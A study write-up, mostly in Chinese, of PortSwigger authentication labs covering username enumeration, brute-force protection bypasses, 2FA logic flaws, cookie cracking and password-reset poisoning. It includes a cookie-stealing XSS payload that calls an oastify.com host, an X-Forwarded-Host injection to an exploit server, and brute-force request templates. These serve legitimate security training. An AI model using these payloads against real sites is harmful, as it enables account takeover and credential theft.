Authentication
Lab: Username enumeration via different responses
This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
info/123qwe
Lab: Username enumeration via subtly different responses
This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
ae/jessica
Lab: Username enumeration via response timing
This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
- Your credentials:
wiener:peter- Candidate usernames
- Candidate passwords
- 多次尝试无效登录,IP 将被封锁,但是
X-Forwarded-For可以绕过,发一次就修改 xff 头 - 用户正确的情况下,响应时间会根据您输入的密码长度而增加。
affiliates/matthew
Lab: Broken brute-force protection, IP block
This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page.
- Your credentials:
wiener:peter- Victim’s username:
carlos- Candidate passwords
如果连续 3 次输入错误的登录信息,IP 会被暂时封禁。不过,可以在达到此限制之前登录自己的帐户,重置登录失败次数,gpt 的脚本秒了
Lab: Username enumeration via account lock
This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
若是存在的账号爆破会又不一样的返回
1 | username=§invalid-username§&password=example§§ |
这样爆破,第二个位置选择选择 “Null”payload 类型,并选择生成5个payload的选项,得到账号后爆破密码,密码也会有不一样的回响,但是被封了一分钟,等一下就能上号了
Lab: Broken brute-force protection, multiple credentials per request
This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos’s password, then access his account page.
- Victim’s username:
carlos- Candidate passwords
这次是 json 登录,{“username”:”wiener”,”password”:”petwe”},可以传数组来绕过爆破检查
将密码的单个字符串值替换为包含所有候选密码的字符串数组。例如:
1 | "username" : "carlos", "password" : ["123456","password","qwerty"... ] |
然后得到 302重定向,右键请求包然后选择 Show response in browser,复制 burp 给的链接在浏览器打开就行了
Lab: 2FA simple bypass
This lab’s two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, access Carlos’s account page.
- Your credentials:
wiener:peter- Victim’s credentials
carlos:montoya
这里 wiener 模拟的是我们自己注册的账户,填入账号密码后让我们填验证码,可以点击邮箱客户端看到。但是受害者的第二步验证码卡住了我们,没有看邮箱的选项。
这个漏洞点在于没有严格校验第二步验证,我们利用自己的账号得知输入完验证码后跳转到 /my-account?id=wiener,尝试登录受害者账号密码后修改路由 /my-account?id=carlos,发现成功登录,绕过了第二步验证码。
后端代码类似下面
1 | // 问题:在密码校验成功后就把 session 标记为已认证(authenticated = true)。 |
Lab: 2FA broken logic
This lab’s two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos’s account page.
- Your credentials:
wiener:peter- Victim’s username:
carlos
You also have access to the email server to receive your 2FA verification code.
首先我们尝试登录自己的账户,输入完账户和密码的返回包
1 | HTTP/2 302 Found |
输入验证码的请求包
1 | POST /login2 HTTP/2 |
我就猜想,是不是只要把验证码请求包 verify=wiener 改成 verify=carlos 就能成功登录了,结果不行,应该是校验了 session,那我又想能不能直接爆破验证码 verify 用受害者的账户
1 | POST /login2 HTTP/2 |
还是失败,验证邮箱的关键是要先发邮箱,漏了发邮箱的请求包了
1 | GET /login2 HTTP/2 |
这个请求包控制着第二个阶段验证的邮箱验证码,我们把 verify 改成受害者账户 carlos,先往受害者账户发送验证码,再爆破验证码就能成功登录
漏洞原因:
- 服务端信任了客户端 cookie 的
verify值; - 验证码查询只校验
username + code,没有绑定到当前 session; - 导致攻击者可以修改 cookie 中的
verify值为受害者用户名,然后利用验证码爆破或触发受害者发码。
Lab: 2FA bypass using a brute-force attack
This lab’s two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos’s account page.
Victim’s credentials:
carlos:montoya
这道题再最后填验证码的时候连续两次输错就会导致 session 实效,就得重新登录账号了,所以不好爆破验证码。不过问题不大,我们可以利用 burp 设置的 sessions 里的的宏功能,再每次请求前都重新登录一遍,刷新session。主要是通过宏操作每次先发三个包
1 | GET /login |
测试宏能看到输入验证码的返回包就行,这样每次爆破前就能自动登录账号密码了,然后就是爆破验证码了,记得把线程设置为1,我估计是怕线程太高,宏操作来不及反应还没重新登录就发过去了,因为每次登录都会重置验证码(但是我尝试第二次就成功了,按道理概率没这么大,难道之前的验证码也可以用,还在时效内就行???也有可能验证码只与用户账号关联、没有绑定到特定session/请求 ID,那么任何在有效期内的码都能被接受,不论它是哪个请求生成的),新的验证码可能是已经尝试了的数字,所以得爆破好几次。得到 302 码在浏览器打开响应包就行了。
Lab: Brute-forcing a stay-logged-in cookie
This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.
To solve the lab, brute-force Carlos’s cookie to gain access to his My account page.
- Your credentials:
wiener:peter- Victim’s username:
carlos- Candidate passwords
登录页面多了一个 保持登录功能(Stay logged in ),这个用于持久化登录,但是加密算法被破解了就很容易伪造登录了。我们先登录已知用户的账户,勾选 Stay logged in ,可以看到cookie携带了
1 | Cookie: session=SLBvovLWDLI6LrnPnacvK9TEb8aG5MG6; stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw |
stay-logged-in 破解玩就是 base64(用户名:md5(密码)),那我们就能根据账号爆破了,在intruder 模块那对 payload 进行三次处理

爆破的时候要改一下或者删掉session值,爆破成功的话后端会根据 stay-logged-in 给我们返回新的session(因为爆破的时候一开始用的是我们自己账号的session,后端有这个session的记录对不上我们爆破的账户)
Lab: Offline password cracking
This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s
stay-logged-incookie and use it to crack his password. Then, log in ascarlosand delete his account from the “My account” page.
- Your credentials:
wiener:peter- Victim’s username:
carlos
先得利用评论区的xss盗取用户cookie(burp起一个服务器,往上面发cookie就行),然后和上一题一样破解 stay-logged-in 得到里面受害者的账号和密码。
1 | <img src=1 onerror="src='http://716ue1npdsgckv7ygx50n5wdl4rvfl3a.oastify.com?id='+document.cookie"> |
Lab: Password reset broken logic
This lab’s password reset functionality is vulnerable. To solve the lab, reset Carlos’s password then log in and access his “My account” page.
- Your credentials:
wiener:peter- Victim’s username:
carlos
点击重置密码,先充值自己的账户,在邮箱处发现重置接口,点击然后抓包修改用户名为受害者,就能重置受害者密码,虽然这个包有token,但是没有校验,导致可以任意用户密码重置。
Lab: Password reset poisoning via middleware
This lab is vulnerable to password reset poisoning. The user
carloswill carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account. You can log in to your own account using the following credentials:wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.密码重置投毒是一种攻击者利用漏洞网站生成指向其控制域名的密码重置链接的技术。攻击者可以利用此行为窃取重置任意用户密码所需的秘密令牌,最终盗取用户的账户。
这题 token 做了校验了
这道题利用信任 Host 或 X-Forwarded-Host 导致主机头注入(Host header injection),服务器会信任X-Forwarded-Host的主机,并且错误地使用 req.headers.host(或 X-Forwarded-Host)来构造这个重置密码的链接。
比如服务器使用 X-Forwarded-Host(或 Host)拼 URL,邮件里的链接变成 https://attacker.example/reset?token=...,这题的邮件链接则是
1 | 0a2400a204eb685280b5128d004b00ef.web-security-academy.net/forgot-password?temp-forgot-password-token=dq032a5pcmgvfbxwq76uumx4lay8te2q |
而这个受害者 token 是我们想得到的,有了这个token就能篡改密码了
所以我们给重置密码的用户名改成受害者,再添加我们可以控制的服务器作为原始请求的 Host 值,发包。
1 | X-Forwarded-Host: exploit-0ab900e304c3681880b4114b01440083.exploit-server.net/ |
这样服务器就会生成包含我们可控的恶意服务器的链接,用户点了就会把他的token带过来访问,我们就能在恶意服务器的日志里看到受害者的token了。
Lab: Password brute-force via password change
This lab’s password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his “My account” page.
- Your credentials:
wiener:peter- Victim’s username:
carlos- Candidate passwords
修改密码处参数不同返回不同状态
当前密码错误,修改密码和确认修改密码一样的话错误会302跳转回登录页面并且被锁定账号一分钟
当前密码正确,修改密码和确认修改密码不一样会返回
New passwords do not match
当前密码不正确,修改密码和确认修改密码不一样会返回 => “当前密码错误”,且不会被锁定账号导致无法爆破。
所以我们根据这个来爆破用户密码,设置不一样的新密码爆破当前密码,直到碰到 New passwords do not match
username=carlos¤t-password=1234&new-password-1=1&new-password-2=2